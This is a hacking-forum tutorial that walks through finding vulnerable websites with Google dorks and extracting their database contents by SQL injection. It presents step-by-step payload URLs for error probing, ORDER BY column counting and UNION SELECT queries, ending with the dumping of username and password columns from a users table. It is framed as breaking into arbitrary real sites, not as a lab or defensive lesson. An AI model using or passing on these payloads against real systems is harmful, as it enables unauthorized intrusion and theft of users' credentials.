Website Hacking: Basic SQL Injection Tutorial Written By B0RNE

Website Hacking: SQL Injection Tutorial

To start off I would like to explain what SQL Injection Attack are
SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.
(www.en.wikipedia.org)

In this tutorial we will be using google dorks, dorks are for making response more efficient Google has provided few functional words called dorks. Here is an example of how a dork looks like: “site:“. This particular is used for finding out the websites with a particular word in their domain name. Such as if you search in Google as ”site: uk” you will find the sites which belong to United Kingdom (U.K.) only! This makes your search response very accurate when you are searching something, especially related to a country.
Here is a google dork list with over 7,000 dorks.

Ok once you have put your dork into google you will see multiple sites with your dork at the end of each url, for example
Spoiler (Click to View)

Simply click one of these sites and put ' at the end of the url making the url look like this

Code 
www.website.com/googledork?id=22'

If you see a error similar to

Code 
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 mySQL error code

then that means that website is vulnerable to SQL, now we have a website we are going to find out how many columns that website has to do this all we must do is put

Code 
www.website.com/googledork?id=22 order by 15--

<--- ERROR
This means there is less than 15 columns

Code 
www.website.com/googledork?id=22 order by 10--

<--- ERROR
This means there is less than 10 columns

Code 
www.website.com/googledork?id=22 order by 5--

<--- NO ERROR
This either means it has 5 columns or more so lets try 6

Code 
www.website.com/googledork?id=22 order by 6--

<--- ERROR
This means there is 5 columns, now we know there is 5 columns we now need to find out which column is vulnerable, to do this we need to do

Code 
www.website.com/googledork?id=-22 union all select 1,2,3,4,5--

Make sure you either put - before the id number or you can change the id number to null
You should now see random number(s) on your screen they are the vulnerable column numbers, say if it is 3 then you will change 3 on in the url to @@version this will then tell you the version, your url should look like this

Code 
www.website.com/googledork?id=-22 union all select 1,2,3,4,@@version

Once you have found out version out you can now find out what the tables are and to this you must change @@version to group_concat(table_name) and at the end of the url put from information_schema.tables-- your URL should look similar to this

Code 
www.website.com/googledork?id=-22 union select 1,2,3,4,group_concat(table_name) from information_schema.tables--

You should now see a bunch of names on the screen these are the table names, you should look out for something that may contain user details or passwords, once you have chosen a table you would like to get information from you need to replace group_concat(table_name) with group_concat(column_name) and put from information_schema.columns where table_name=Name of table in hex form at the end, you then need to get the HEX of that table name to do this you will use a
online text to hex converter once you have your code replace Name of table in hex form with the HEX code

You should them get a load of other names you will then need to change the URL to

Code 
www.website.com/googledork?id=-22 union all select 1,2,3,4,group_concat(#1 COLUMN NAME,0x3a,#2 COLUMN NAME) from users--

That is it, you have just successfully hacked into a website using SQL Injection, I hope you have learned alot from this tutorial, if you need any help either PM me or post below 🤝
If would like to talk to me on skype just PM me and I will give you my username

Thanks for reading. 🤝